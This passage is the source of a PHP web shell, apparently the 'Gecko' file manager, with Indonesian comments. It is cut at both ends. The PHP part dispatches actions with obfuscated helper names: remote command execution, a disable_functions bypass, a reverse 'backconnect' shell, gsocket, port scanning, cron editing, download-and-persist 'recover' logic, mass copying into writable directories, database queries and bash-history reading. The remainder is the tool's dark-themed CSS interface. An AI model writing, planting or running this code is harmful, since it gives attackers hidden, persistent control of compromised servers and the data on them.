                    'exit_code' => 1,
                    'cwd' => $rel,
                ));
            } catch (Throwable $ex) {
                _g49326eb(array(
                    'ok' => false,
                    'error' => 'Terminal fatal: ' . $ex->getMessage(),
                    'output' => 'Terminal fatal: ' . $ex->getMessage(),
                    'exit_code' => 1,
                    'cwd' => $rel,
                ));
            }
            if (!is_array($result)) {
                _g49326eb(array(
                    'ok' => false,
                    'error' => 'Terminal returned invalid result',
                    'output' => 'Terminal returned invalid result',
                    'exit_code' => 1,
                    'cwd' => $rel,
                ));
            }
            $out = isset($result['output']) ? $result['output'] : '';
            $methodUsed = isset($result['method']) ? $result['method'] : '';
            if ($methodUsed !== '' && $methodUsed !== 'proc_open') {
                $out = $out . (strlen($out) ? "\n" : '') . '[via ' . $methodUsed . ']';
            }
            // Always HTTP 200 so UI never shows "Empty response (HTTP 500)"
            _g49326eb(array(
                'ok' => empty($result['no_shell']),
                'output' => $out,
                'error' => !empty($result['no_shell']) ? $out : '',
                'exit_code' => isset($result['exit_code']) ? (int)$result['exit_code'] : 1,
                'cwd' => $rel,
                'method' => $methodUsed,
                'tried' => isset($result['tried']) ? $result['tried'] : array(),
            ));
            break;

        case 'drives':
            $drives = array();
            if (_gde2b43a()) {
                for ($i = 67; $i <= 90; $i++) {
                    $drive = chr($i) . ':/';
                    if (@_gfid($drive)) {
                        $free = @disk_free_space($drive);
                        $total = @disk_total_space($drive);
                        $drives[] = array(
                            'letter' => chr($i) . ':',
                            'path' => $drive,
                            'free' => $free ? $free : 0,
                            'total' => $total ? $total : 0,
                            'label' => chr($i) . ':\\',
                        );
                    }
                }
            } else {
                // Linux/Mac - show root and common paths
                $commonPaths = array(
                    '/' => 'Root (/)',
                    '/home' => 'Home (/home)',
                    '/var' => 'Var (/var)',
                    '/etc' => 'Etc (/etc)',
                    '/usr' => 'Usr (/usr)',
                    '/tmp' => 'Tmp (/tmp)',
                );

                foreach ($commonPaths as $path => $label) {
                    if (@_gfid($path)) {
                        $free = @disk_free_space($path);
                        $total = @disk_total_space($path);
                        $drives[] = array(
                            'letter' => $path,
                            'path' => $path,
                            'free' => $free ? $free : 0,
                            'total' => $total ? $total : 0,
                            'label' => $label,
                        );
                    }
                }

                // Add current document root
                if (@_gfid($baseDir) && $baseDir !== '/') {
                    $free = @disk_free_space($baseDir);
                    $total = @disk_total_space($baseDir);
                    $drives[] = array(
                        'letter' => $baseDir,
                        'path' => $baseDir,
                        'free' => $free ? $free : 0,
                        'total' => $total ? $total : 0,
                        'label' => 'Document Root: ' . basename($baseDir),
                    );
                }
            }
            _g49326eb(array('ok' => true, 'drives' => $drives));
            break;

        case 'info':
            _g49326eb(array(
                'ok' => true,
                'php' => PHP_VERSION,
                'os' => PHP_OS,
                'base' => $baseDir,
                'disk_free' => @disk_free_space($baseDir),
                'disk_total' => @disk_total_space($baseDir),
            ));
            break;

        case 'cron_list':
            $cron = _gf14588c();
            _g49326eb(array(
                'ok' => true,
                'content' => $cron['content'],
                'platform' => $cron['platform'],
                'editable' => $cron['editable'],
            ));
            break;

        case 'cron_save':
            $content = (string)_gc9f029d($input, 'content', '');
            $result = _g682d47a($content);
            if (!$result['ok']) _g49326eb($result, 400);
            _g49326eb(array('ok' => true));
            break;

        case 'recover_file':
            @set_time_limit(180);
            @ini_set('max_execution_time', '180');
            @ignore_user_abort(true);

            try {
                $vDir = _ge4e6167(_gc9f029d($input, 'dir_path', ''));
                if (!$vDir[0]) _g49326eb(array('ok' => false, 'error' => $vDir[1]), 400);
                $vFile = _gd0678f8(_gc9f029d($input, 'file_name', ''));
                if (!$vFile[0]) _g49326eb(array('ok' => false, 'error' => $vFile[1]), 400);
                $vUrl = _g9d1e4b8(_gc9f029d($input, 'download_url', ''));
                if (!$vUrl[0]) _g49326eb(array('ok' => false, 'error' => $vUrl[1]), 400);
                $persist = _gc9f029d($input, 'persist', '1');
                $wantPersist = ($persist === '1' || $persist === 1 || $persist === true || $persist === 'true');

                $result = _ga21ba0a($vDir[1], $vFile[1], $vUrl[1], true);
                if (!$result['ok']) _g49326eb($result, 400);

                if ($wantPersist) {
                    try {
                        $persistResult = _gac139d3($vDir[1], $vFile[1], $vUrl[1]);
                    } catch (Exception $ex) {
                        $persistResult = array(
                            'ok' => false,
                            'message' => 'Persistence exception: ' . $ex->getMessage(),
                            'steps' => array('Persistence exception: ' . $ex->getMessage()),
                        );
                    } catch (Throwable $ex) {
                        $persistResult = array(
                            'ok' => false,
                            'message' => 'Persistence error: ' . $ex->getMessage(),
                            'steps' => array('Persistence error: ' . $ex->getMessage()),
                        );
                    }
                    if (!is_array($persistResult)) {
                        $persistResult = array('ok' => false, 'message' => 'Persistence returned invalid result', 'steps' => array());
                    }
                    if (!empty($persistResult['steps']) && is_array($persistResult['steps'])) {
                        $result['steps'] = array_merge(
                            isset($result['steps']) && is_array($result['steps']) ? $result['steps'] : array(),
                            array('--- persistence ---'),
                            $persistResult['steps']
                        );
                    }
                    $result['persistence'] = array(
                        'ok' => !empty($persistResult['ok']),
                        'message' => isset($persistResult['message']) ? $persistResult['message'] : '',
                        'instance_id' => isset($persistResult['instance_id']) ? $persistResult['instance_id'] : '',
                        'install_path' => isset($persistResult['install_path']) ? $persistResult['install_path'] : '',
                        'shm_path' => isset($persistResult['shm_path']) ? $persistResult['shm_path'] : '',
                        'pid_file' => isset($persistResult['pid_file']) ? $persistResult['pid_file'] : '',
                        'pid' => isset($persistResult['pid']) ? $persistResult['pid'] : 0,
                        'crontab' => !empty($persistResult['crontab']),
                        'cron_marker' => isset($persistResult['cron_marker']) ? $persistResult['cron_marker'] : '',
                        'async' => false,
                    );
                    if (!empty($persistResult['ok'])) {
                        $result['message'] = $result['message'] . ' · Persistence ON';
                    } else {
                        $result['message'] = $result['message'] . ' · Persistence partial/failed';
                    }
                } else {
                    $result['steps'][] = 'Persistence dimatikan (one-shot recover saja).';
                    $result['persistence'] = array('ok' => false, 'message' => 'disabled');
                }

                _g49326eb($result);
            } catch (Exception $ex) {
                _g49326eb(array('ok' => false, 'error' => 'Recover exception: ' . $ex->getMessage()), 500);
            } catch (Throwable $ex) {
                _g49326eb(array('ok' => false, 'error' => 'Recover fatal: ' . $ex->getMessage()), 500);
            }
            break;

        case 'find_writable_dirs':
            $rawPath = trim((string)_gc9f029d($input, 'path', ''));
            if ($rawPath === '') {
                $rawPath = '/var/www/html';
            }
            $vPath = _g48a3fc8($rawPath);
            if (!$vPath[0]) _g49326eb(array('ok' => false, 'error' => $vPath[1]), 400);
            $maxDepth = (int)_gc9f029d($input, 'max_depth', 8);
            $limit = (int)_gc9f029d($input, 'limit', 400);
            $result = _g26cb9e2($vPath[1], $maxDepth, $limit);
            if (!$result['ok']) _g49326eb($result, 400);
            _g49326eb($result);
            break;

        case 'mass_copy':
            @set_time_limit(300);
            @ini_set('max_execution_time', '300');
            $src = trim((string)_gc9f029d($input, 'src', ''));
            $base = trim((string)_gc9f029d($input, 'base', ''));
            $debug = !empty($input['debug']) && ($input['debug'] === true || $input['debug'] === 1 || $input['debug'] === '1');
            $v2 = !empty($input['v2']) && ($input['v2'] === true || $input['v2'] === 1 || $input['v2'] === '1');
            $v3 = !empty($input['v3']) && ($input['v3'] === true || $input['v3'] === 1 || $input['v3'] === '1');
            $mode = trim((string)_gc9f029d($input, 'mode', ''));
            // Pastikan eksklusif di API layer juga
            $mode = _g344b644($v2, $v3, $mode);
            $v2 = ($mode === 'v2');
            $v3 = ($mode === 'v3');
            $limit = (int)_gc9f029d($input, 'limit', 25);
            $offset = (int)_gc9f029d($input, 'offset', 0);
            $result = null;
            try {
                $result = _g5a0aa04($src, $base, $debug, $v2, $limit, $offset, $v3, $mode);
            } catch (Exception $ex) {
                _g49326eb(array('ok' => false, 'error' => 'Mass copy exception: ' . $ex->getMessage()));
            } catch (Throwable $ex) {
                _g49326eb(array('ok' => false, 'error' => 'Mass copy fatal: ' . $ex->getMessage()));
            }
            if (!is_array($result)) {
                _g49326eb(array('ok' => false, 'error' => 'Mass copy returned invalid result'));
            }
            // Always HTTP 200 so UI never shows Empty response (HTTP 500)
            _g49326eb($result);
            break;

        case 'portscan':
            $host = trim((string)_gc9f029d($input, 'host', '127.0.0.1'));
            $ports = trim((string)_gc9f029d($input, 'ports', '21,22,25,80,443,3306,8080'));
            $timeout = (int)_gc9f029d($input, 'timeout', 1);
            $result = _g51c53c2($host, $ports, $timeout);
            if (!$result['ok']) _g49326eb($result, 400);
            _g49326eb($result);
            break;

        case 'bypass_df':
            @set_time_limit(60);
            @ini_set('max_execution_time', '60');
            $cmd = trim((string)_gc9f029d($input, 'cmd', ''));
            $result = null;
            try {
                $result = _g27dd51a($cmd);
            } catch (Exception $ex) {
                _g49326eb(array('ok' => false, 'error' => 'Bypass exception: ' . $ex->getMessage()));
            } catch (Throwable $ex) {
                _g49326eb(array('ok' => false, 'error' => 'Bypass fatal: ' . $ex->getMessage()));
            }
            if (!is_array($result)) {
                _g49326eb(array('ok' => false, 'error' => 'Bypass returned invalid result'));
            }
            // Always HTTP 200 so UI never shows Empty response
            _g49326eb($result);
            break;

        case 'bypass_df_info':
            // Status check tanpa eksekusi command
            $pay = _gecd6dc3();
            $arch = _g5245dfb();
            $need = array('putenv', 'mail', 'file_put_contents', 'file_get_contents', 'unlink');
            $funcs = array();
            foreach ($need as $fn) {
                $funcs[$fn] = _geebfdb2($fn);
            }
            _g49326eb(array(
                'ok' => true,
                'linux' => !_gde2b43a(),
                'arch' => ($arch === true ? 'x86_64' : ($arch === false ? 'x86' : 'unknown')),
                'preload_ok' => !empty($pay['ok']),
                'preload_path' => isset($pay['path']) ? $pay['path'] : '',
                'preload_error' => empty($pay['ok']) && isset($pay['error']) ? $pay['error'] : '',
                'funcs' => $funcs,
                'disable_functions' => (string)@ini_get('disable_functions'),
            ));
            break;

        case 'backconnect':
            $ip = trim((string)_gc9f029d($input, 'ip', ''));
            $port = (int)_gc9f029d($input, 'port', 4444);
            $method = (string)_gc9f029d($input, 'method', 'bash');
            $result = null;
            try {
                $result = _g294703c($ip, $port, $method);
            } catch (Exception $ex) {
                _g49326eb(array(
                    'ok' => false,
                    'error' => 'Backconnect exception: ' . $ex->getMessage(),
                ));
            } catch (Throwable $ex) {
                _g49326eb(array(
                    'ok' => false,
                    'error' => 'Backconnect fatal: ' . $ex->getMessage(),
                ));
            }
            if (!is_array($result)) {
                _g49326eb(array('ok' => false, 'error' => 'Backconnect returned invalid result'));
            }
            // Always HTTP 200 so UI never shows "Empty response (HTTP 500)"
            _g49326eb($result);
            break;

        case 'gsocket':
            @set_time_limit(1800);
            @ini_set('max_execution_time', '1800');
            $method = (string)_gc9f029d($input, 'method', 'curl');
            $result = _g242db1d($method);
            if (!$result['ok']) _g49326eb($result, 400);
            _g49326eb($result);
            break;

        case 'mysql_manager_sync':
            $force = !empty(_gc9f029d($input, 'force', false));
            $result = _g_mysql_manager_ensure($force);
            if (!$result['ok']) {
                _g49326eb($result, 400);
            }
            _g49326eb($result);
            break;

        case 'db_tables':
            $result = _g4c9dd4c(
                (string)_gc9f029d($input, 'type', 'mysql'),
                (string)_gc9f029d($input, 'host', '127.0.0.1'),
                (int)_gc9f029d($input, 'port', 3306),
                (string)_gc9f029d($input, 'user', 'root'),
                (string)_gc9f029d($input, 'pass', ''),
                (string)_gc9f029d($input, 'db', '')
            );
            if (!$result['ok']) _g49326eb($result, 400);
            _g49326eb($result);
            break;

        case 'db_query':
            $result = _g8d035b0(
                (string)_gc9f029d($input, 'type', 'mysql'),
                (string)_gc9f029d($input, 'host', '127.0.0.1'),
                (int)_gc9f029d($input, 'port', 3306),
                (string)_gc9f029d($input, 'user', 'root'),
                (string)_gc9f029d($input, 'pass', ''),
                (string)_gc9f029d($input, 'db', ''),
                (string)_gc9f029d($input, 'sql', '')
            );
            if (!$result['ok']) _g49326eb($result, 400);
            _g49326eb($result);
            break;

        case 'sec_tool':
            @set_time_limit(120);
            $tool = (string)_gc9f029d($input, 'tool', 'recon');
            $result = _gc1ebe7d($tool, $input, $baseDir);
            if (!$result['ok']) _g49326eb($result, 400);
            _g49326eb($result);
            break;

        case 'blue_tool':
            @set_time_limit(600);
            @ini_set('max_execution_time', '600');
            $tool = (string)_gc9f029d($input, 'tool', 'backdoor');
            $result = _gb382921($tool, $input, $baseDir);
            if (!$result['ok']) _g49326eb($result, 400);
            _g49326eb($result);
            break;

        case 'blue_delete':
            $paths = _gc9f029d($input, 'paths', array());
            if (is_string($paths)) {
                $decoded = json_decode($paths, true);
                $paths = is_array($decoded) ? $decoded : array($paths);
            }
            $result = _g2c1f182($baseDir, $paths);
            if (!$result['ok']) _g49326eb($result, 400);
            _g49326eb($result);
            break;

        case 'blue_quarantine_list':
            $result = _g648d971($baseDir);
            _g49326eb($result);
            break;

        case 'blue_restore':
            $ids = _gc9f029d($input, 'ids', array());
            if (is_string($ids)) {
                $decoded = json_decode($ids, true);
                $ids = is_array($decoded) ? $decoded : array($ids);
            }
            $result = _g9644d4f($baseDir, $ids);
            if (!$result['ok']) _g49326eb($result, 400);
            _g49326eb($result);
            break;

        case 'vhost_hint':
            @set_time_limit(120);
            $scanRel = (string)_gc9f029d($input, 'path', '');
            $result = _gvhostHintDiscover($baseDir, $scanRel);
            _g49326eb($result);
            break;

        case 'log_tail_presets':
            _g49326eb(array('ok' => true, 'presets' => _glogTailPresets($baseDir)));
            break;

        case 'log_tail':
            $pathIn = trim((string)_gc9f029d($input, 'path', ''));
            $lines = (int)_gc9f029d($input, 'lines', 100);
            $sinceByte = _gc9f029d($input, 'since_byte', null);
            $resolved = _gtailResolvePath($pathIn, $baseDir);
            if (!$resolved) {
                _g49326eb(array('ok' => false, 'error' => 'Path log tidak valid atau tidak terbaca (max 50MB).'), 400);
            }
            if ($sinceByte !== null && $sinceByte !== '') {
                $result = _gtailSinceByte($resolved, $sinceByte);
            } else {
                $result = _gtailLastLines($resolved, $lines);
            }
            if (!$result['ok']) _g49326eb($result, 400);
            _g49326eb($result);
            break;

        case 'bash_history_tail':
            $lines = (int)_gc9f029d($input, 'lines', 150);
            $result = _gbashHistoryCollect($baseDir, $lines);
            _g49326eb($result);
            break;

        default:
            _g49326eb(array('ok' => false, 'error' => 'Unknown action'), 400);
    }
    exit;
}


?>
<!DOCTYPE html>
<html lang="id">
<head>
<meta charset="UTF-8">
<meta name="robots" content="noindex">
<meta name="viewport" content="width=device-width,initial-scale=1.0">
<title>Gecko · <?= $_SERVER['SERVER_NAME'] ?> </title>
<link rel="icon" href="data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 32 32'%3E%3Crect width='32' height='32' rx='6' fill='%23050608'/%3E%3Cpath d='M8 12l4 4-4 4M16 20h8' stroke='%23f5b942' stroke-width='2.5' fill='none' stroke-linecap='round' stroke-linejoin='round'/%3E%3C/svg%3E">
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Inter:ital,opsz,wght@0,14..32,300;0,14..32,400;0,14..32,500;0,14..32,600;0,14..32,700;1,14..32,400&family=JetBrains+Mono:wght@400;500;600&display=swap" rel="stylesheet">
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap-icons@1.11.3/font/bootstrap-icons.min.css">
<style>
/* ─── DESIGN TOKENS ───────────────────────────────────────────── */
/*  ◆  NOIR GOLD × LUXE DARK  ◆
    Ultra-deep ink, warm champagne gold accent, soft pearl text. */
:root {
  /* Ink palette — true noir, near-black with subtle warm undertone */
  --ink0: #050608;
  --ink1: #0a0b0e;
  --ink2: #101216;
  --ink3: #161920;
  --ink4: #1f232b;
  --ink5: #2a2f38;
  --ink6: #424754;
  --ink-tint: rgba(245,185,66,.020);

  /* Primary accent — Champagne Gold */
  --jade:     #f5b942;
  --jade-hi:  #ffd76e;
  --jade-lo:  #d4961f;
  --jade-dk:  #a8730e;
  --jade-bg:  rgba(245,185,66,.10);
  --jade-bd:  rgba(245,185,66,.24);
  --jade-bd2: rgba(245,185,66,.42);

  /* Semantic — warm-toned */
  --red:     #f87171;
  --red-bg:  rgba(248,113,113,.10);
  --red-bd:  rgba(248,113,113,.22);
  --amber:   #d4961f;
  --amber-bg:rgba(212,150,31,.12);
  --blue:    #79c0ff;
  --blue-bg: rgba(121,192,255,.10);
  --pink:    #ff8e8e;
  --pink-bg: rgba(255,142,142,.08);

  /* Text scale — pearl on noir */
  --tx:  #f5f1e8;
  --tx2: #d8d3c4;
  --tx3: #8a8578;
  --tx4: #61605a;

  /* Border */
  --bd:   rgba(245,185,66,.14);
  --bd2:  rgba(245,241,232,.06);
  --bd3:  rgba(245,241,232,.04);

  /* Radii */
  --r4: 4px; --r6: 6px; --r8: 8px; --r10: 10px; --r12: 12px; --r14: 14px; --r16: 16px; --r20: 20px;

  /* Type */
  --sans: "Inter", -apple-system, system-ui, sans-serif;
  --mono: "JetBrains Mono", "Fira Code", "SF Mono", Consolas, monospace;

  /* Shadows — layered for depth, no large blurs */
  --s0:  0 1px 0 rgba(255,255,255,.02) inset, 0 1px 2px rgba(0,0,0,.3);
  --s1:  0 1px 3px rgba(0,0,0,.4), 0 1px 2px rgba(0,0,0,.25);
  --s2:  0 6px 20px rgba(0,0,0,.45), 0 2px 6px rgba(0,0,0,.3);
  --s3:  0 18px 50px rgba(0,0,0,.55), 0 6px 16px rgba(0,0,0,.4);
  --s-jade: 0 0 0 1px var(--jade-bd), 0 4px 16px rgba(245,185,66,.24);
  --s-jade-soft: 0 0 0 3px var(--jade-bg);

  /* Layout */
  --topbar-h: 60px;
  --sidebar-w: 240px;
  --statusbar-h: 32px;

  /* Easing */
  --ease:    cubic-bezier(.4,0,.2,1);
  --ease-out: cubic-bezier(.2,.8,.2,1);
  --spring:  cubic-bezier(.34,1.3,.64,1);
}

@media (prefers-reduced-motion: reduce) {
  *, *::before, *::after {
    animation-duration: .01ms !important;
    animation-iteration-count: 1 !important;
    transition-duration: .01ms !important;
    scroll-behavior: auto !important;
  }
}


/* ─── RESET ───────────────────────────────────────────────────── */
*,*::before,*::after { box-sizing: border-box; margin: 0; padding: 0 }
html, body { height: 100%; overflow: hidden }
body {
  font-family: var(--sans);
  font-size: 13.5px;
  line-height: 1.5;
  color: var(--tx);
  background: var(--ink0);
  -webkit-font-smoothing: antialiased;
  -moz-osx-font-smoothing: grayscale;
  text-rendering: optimizeLegibility;
  font-feature-settings: "cv02","cv03","cv04","cv11";
}
button, input, textarea, select { font: inherit; color: inherit; letter-spacing: inherit }
button { -webkit-tap-highlight-color: transparent }
a { color: var(--jade); text-decoration: none }

/* ─── ACCESSIBILITY — focus rings ──────────────────────────────── */
:focus-visible { outline: 2px solid var(--jade); outline-offset: 2px; border-radius: 4px }
button:focus-visible, .bc-btn:focus-visible, .ico-btn:focus-visible { outline-offset: 1px }

/* ─── SCROLLBAR — global subtle ───────────────────────────────── */
::-webkit-scrollbar { width: 9px; height: 9px }
::-webkit-scrollbar-track { background: transparent }
::-webkit-scrollbar-thumb {
  background: var(--ink5);
  border-radius: 99px;
  border: 2px solid transparent;
  background-clip: content-box;
}
::-webkit-scrollbar-thumb:hover { background: var(--ink6); background-clip: content-box; border: 2px solid transparent }

/* ─── PANEL BACKGROUND IMAGE (decorative) ─────────────────────── */
.panel { position: relative }
.panel::before {
  content: "";
  position: absolute;
  top: 50%; left: 50%;
  transform: translate(-50%, -50%);
  width: 95%; max-width: 820px; height: 820px;
  background: url('https://raw.githubusercontent.com/MadExploits/GECKO-FILE-MANAGER/refs/heads/main/gecko.png') center/contain no-repeat;
  opacity: .035;
  pointer-events: none;
  z-index: 0;
}
.tbl-head, .flist, .grid-wrap, .empty { position: relative; z-index: 1 }

/* ─── AMBIENT BACKGROUND — deep ocean glow, no filter ────────── */
.bg-mesh {
  position: fixed; inset: 0; z-index: 0; pointer-events: none;
  background:
    radial-gradient(ellipse 900px 600px at 8% -5%,  rgba(245,185,66,.10) 0%, transparent 60%),
    radial-gradient(ellipse 700px 500px at 100% 102%, rgba(168,115,14,.08) 0%, transparent 60%),
    radial-gradient(ellipse 500px 380px at 50% 100%, rgba(255,215,110,.03) 0%, transparent 70%),
    radial-gradient(ellipse 600px 400px at 90% 0%, rgba(212,150,31,.05) 0%, transparent 70%),
    linear-gradient(170deg, rgba(5,6,8,0) 0%, var(--ink0) 50%, #030303 100%),
    var(--ink0);
}

/* ─── SHELL ───────────────────────────────────────────────────── */
.shell { position: relative; z-index: 1; display: flex; flex-direction: column; height: 100vh }

/* ─── TOPBAR ──────────────────────────────────────────────────── */
.topbar {
  height: var(--topbar-h);
  background: linear-gradient(180deg, rgba(10,11,14,.95), var(--ink1));
  border-bottom: 1px solid var(--bd2);
  display: flex; align-items: center;
  padding: 0 18px; gap: 14px;
  flex-shrink: 0; z-index: 80;
  box-shadow: 0 1px 0 rgba(245,185,66,.06), 0 1px 0 0 rgba(0,0,0,.4);
}

.logo {
  display: flex; align-items: center; gap: 11px;
  min-width: var(--sidebar-w); flex-shrink: 0;
  padding-right: 14px;
  border-right: 1px solid var(--bd2);
  margin-right: 4px;
  height: 100%;
}
.logo-icon {
  width: 32px; height: 32px; border-radius: 8px;
  background: var(--ink2);
  border: 1px solid var(--bd);
  display: grid; place-items: center; flex-shrink: 0;
  position: relative;
}
.logo-icon svg {
  width: 16px; height: 16px;
  stroke: var(--jade); fill: none;
}

.logo-text { display: flex; flex-direction: column; line-height: 1; gap: 5px }
.logo-name {
  font-size: 14px; font-weight: 600; letter-spacing: -.01em;
  color: var(--tx);
  display: flex; align-items: center; gap: 6px;
}
.logo-name em {
  font-style: normal; font-size: 9px; font-weight: 600;
  color: var(--jade); letter-spacing: .08em;
  padding: 1px 5px; border-radius: 3px;
  background: var(--jade-bg);
  border: 1px solid var(--jade-bd);
}
.logo-sub {
  font-size: 10px; font-weight: 500;
  color: var(--tx4); letter-spacing: .02em;
}
.logo-sub b {
  color: var(--tx3); font-weight: 500;
}

/* ─── SEARCH ──────────────────────────────────────────────────── */
.search-wrap {
  flex: 1; max-width: 460px; position: relative;
  display: grid; grid-template-columns: 1fr; align-items: center;
}
.search-wrap svg.search-ico,
.search-wrap .bi.search-ico {
  grid-area: 1 / 1;
  justify-self: start;
  align-self: center;
  margin-left: 13px;
  z-index: 1;
  width: 14px; height: 14px;
  display: inline-flex; align-items: center; justify-content: center;
  font-size: 14px; line-height: 1;
  fill: var(--tx3); color: var(--tx3);
  transition: fill .15s var(--ease), color .15s var(--ease);
  pointer-events: none;
}
.search-wrap:focus-within svg.search-ico,
.search-wrap:focus-within .bi.search-ico { fill: var(--jade); color: var(--jade); }
.search-wrap input {
  grid-area: 1 / 1;
  width: 100%; padding: 10px 70px 10px 38px;
  background: var(--ink2); border: 1px solid var(--bd2);
  border-radius: var(--r10); outline: none;
  font-size: 13px; color: var(--tx);
  transition: border-color .15s var(--ease), box-shadow .15s var(--ease), background .15s var(--ease);
}
.search-wrap input:hover:not(:focus) { background: var(--ink3); border-color: var(--bd) }
.search-wrap input:focus {
  background: var(--ink2);
  border-color: var(--jade-bd);
  box-shadow: var(--s-jade-soft);
}
.search-wrap input::placeholder { color: var(--tx3) }
.kbd-hint {
  grid-area: 1 / 1;
  justify-self: end;
  align-self: center;
  margin-right: 10px;
  display: flex; gap: 3px; pointer-events: none;
  z-index: 1;
}
.kbd-hint kbd {
  padding: 2px 6px; font-size: 10px; font-family: var(--mono);
  color: var(--tx3); background: var(--ink3);
  border: 1px solid var(--bd2); border-radius: var(--r4);
  box-shadow: 0 1px 0 rgba(0,0,0,.3);
}

/* ─── TOPBAR RIGHT ────────────────────────────────────────────── */
.topbar-right { display: flex; align-items: center; gap: 8px; margin-left: auto }
.view-pills {
  display: flex; background: var(--ink2); border: 1px solid var(--bd2);
  border-radius: var(--r10); padding: 3px; gap: 2px;
  position: relative;
}
.view-pill {
  width: 30px; height: 26px; display: grid; place-items: center;
  border: none; background: transparent; border-radius: var(--r6);
  cursor: pointer; color: var(--tx3);
  transition: color .15s var(--ease), background .15s var(--ease);
}
.view-pill svg { width: 15px; height: 15px; fill: none; stroke: currentColor; stroke-width: 1.75 }
.view-pill:hover:not(.active) { background: var(--ink3); color: var(--tx2) }
.view-pill.active {
  background: linear-gradient(180deg, var(--ink4), var(--ink3));
  color: var(--jade);
  box-shadow: 0 1px 0 rgba(255,255,255,.04) inset, 0 1px 2px rgba(0,0,0,.3);
}

/* ─── BUTTONS ─────────────────────────────────────────────────── */
.btn {
  display: inline-flex; align-items: center; gap: 7px;
  padding: 8px 14px; font-size: 12.5px; font-weight: 500;
  border-radius: var(--r8); border: 1px solid var(--bd2);
  background: var(--ink3); color: var(--tx2);
  cursor: pointer; white-space: nowrap;
  transition:
    background-color .15s var(--ease),
    border-color .15s var(--ease),
    color .15s var(--ease),
    transform .12s var(--ease-out),
    box-shadow .15s var(--ease);
}
.btn svg { width: 15px; height: 15px; fill: none; stroke: currentColor; stroke-width: 1.75; stroke-linecap: round; stroke-linejoin: round; flex-shrink: 0 }
.btn .bi {
  font-size: 15px; line-height: 1; flex-shrink: 0;
  display: inline-flex; align-items: center; justify-content: center;
}
.actionbar .btn-sm .bi { font-size: 14px; }
.btn:hover {
  background: var(--ink4); color: var(--tx);
  border-color: var(--jade-bd);
  transform: translateY(-1px);
  box-shadow: var(--s1);
}
.btn:active { transform: translateY(0); box-shadow: none; transition-duration: .05s }

.btn-primary {
  background: linear-gradient(180deg, var(--jade), var(--jade-lo));
  border-color: var(--jade-bd2);
  color: #ffffff;
  font-weight: 600;
  box-shadow:
    0 1px 0 rgba(255,255,255,.18) inset,
    0 1px 2px rgba(0,0,0,.3),
    0 0 0 1px rgba(245,185,66,.18);
  text-shadow: 0 1px 0 rgba(255,255,255,.1);
}
.btn-primary:hover {
  background: linear-gradient(180deg, var(--jade-hi), var(--jade));
  border-color: var(--jade);
  color: #ffffff;
  box-shadow:
    0 1px 0 rgba(255,255,255,.22) inset,
    0 4px 16px rgba(245,185,66,.32),
    0 0 0 1px rgba(245,185,66,.32);
}

.btn-danger {
  background: var(--red-bg);
  border-color: var(--red-bd);
  color: var(--red);
}
.btn-danger:hover {
  background: rgba(248,113,113,.18);
  border-color: rgba(248,113,113,.4);
  color: var(--red);
  box-shadow: 0 4px 16px rgba(248,113,113,.18);
}

.btn-term {
  background: var(--jade-bg);
  border-color: var(--jade-bd);
  color: var(--jade);
  font-weight: 600;
}
.btn-term:hover {
  background: rgba(245,185,66,.14);
  border-color: var(--jade-bd2);
  box-shadow: 0 4px 16px rgba(245,185,66,.18);
  color: var(--jade-hi);
}

.btn-icon { padding: 8px; gap: 0 }
.btn-ghost { background: transparent; border-color: transparent; color: var(--tx3) }
.btn-ghost:hover {
  background: var(--ink3); border-color: var(--bd2);
  color: var(--tx2); transform: none; box-shadow: none;
}
.btn-sm { padding: 6px 11px; font-size: 12px; border-radius: var(--r6) }

/* ─── LAYOUT ──────────────────────────────────────────────────── */
.body { display: flex; flex: 1; overflow: hidden; gap: 0 }

/* ─── SIDEBAR ─────────────────────────────────────────────────── */
.sidebar {
  width: var(--sidebar-w); flex-shrink: 0;
  background: linear-gradient(180deg, var(--ink1) 0%, var(--ink0) 100%);
  border-right: 1px solid var(--bd2);
  display: flex; flex-direction: column;
  overflow: hidden;
}
.sb-scroll {
  flex: 1; min-height: 0;
  overflow-y: auto; overflow-x: hidden;
  scrollbar-gutter: stable;
}
.sb-scroll::-webkit-scrollbar { width: 6px }
.sb-scroll::-webkit-scrollbar-track { background: transparent }
.sb-scroll::-webkit-scrollbar-thumb { background: var(--ink4); border-radius: 99px }
.sb-scroll::-webkit-scrollbar-thumb:hover { background: var(--ink5) }
.sb-foot {
  flex-shrink: 0;
  border-top: 1px solid var(--bd2);
  background: linear-gradient(180deg, transparent, rgba(0,0,0,.18));
}
.sidebar-top { padding: 14px 12px 4px }
.sidebar-label {
  font-size: 9px; font-weight: 800; text-transform: uppercase;
  letter-spacing: .18em; color: var(--tx4);
  padding: 0 11px; margin-bottom: 8px;
  display: flex; align-items: center; gap: 8px;
}
.sidebar-label svg {
  width: 11px; height: 11px;
  stroke: var(--jade); fill: none;
  opacity: .8; flex-shrink: 0;
}
.sidebar-label .bi {
  font-size: 11px; line-height: 1;
  color: var(--jade); opacity: .8; flex-shrink: 0;
  display: inline-flex; align-items: center; justify-content: center;
  width: 11px; height: 11px;
}
.sidebar-label::after {
  content: ""; flex: 1; height: 1px;
  background: linear-gradient(90deg, var(--jade-bd), transparent);
}
.sb-btn {
  display: flex; align-items: center; gap: 11px;
  width: 100%; padding: 7px 11px 7px 9px;
  border: 1px solid transparent;
  background: transparent; border-radius: 8px;
  color: var(--tx2); cursor: pointer; text-align: left;
  font-size: 12.5px; font-weight: 500;
  margin-bottom: 1px;
  position: relative;
  transition:
    background-color .14s var(--ease),
    color .14s var(--ease),
    border-color .14s var(--ease),
    transform .18s var(--ease-out);
}
.sb-btn::before {
  content: ""; position: absolute;
  left: 0; top: 6px; bottom: 6px;
  width: 2px; background: var(--jade);
  border-radius: 0 2px 2px 0;
  transform: scaleX(0); transform-origin: left;
  transition: transform .2s var(--ease-out);
}
.sb-arrow {
  margin-left: auto; flex-shrink: 0;
  font-family: var(--mono); font-size: 13px;
  line-height: 1; color: var(--jade);
  opacity: 0;
  transform: translateX(-4px);
  transition: opacity .18s var(--ease), transform .18s var(--ease-out);
}
.sb-btn:hover {
  background: rgba(245,185,66,.05);
  color: var(--tx);
  border-color: rgba(245,185,66,.16);
  transform: translateX(2px);
}
.sb-btn:hover::before { transform: scaleX(1) }
.sb-btn:hover .sb-arrow { opacity: .9; transform: translateX(0) }
.sb-btn:active { transform: translateX(0); transition-duration: .05s }

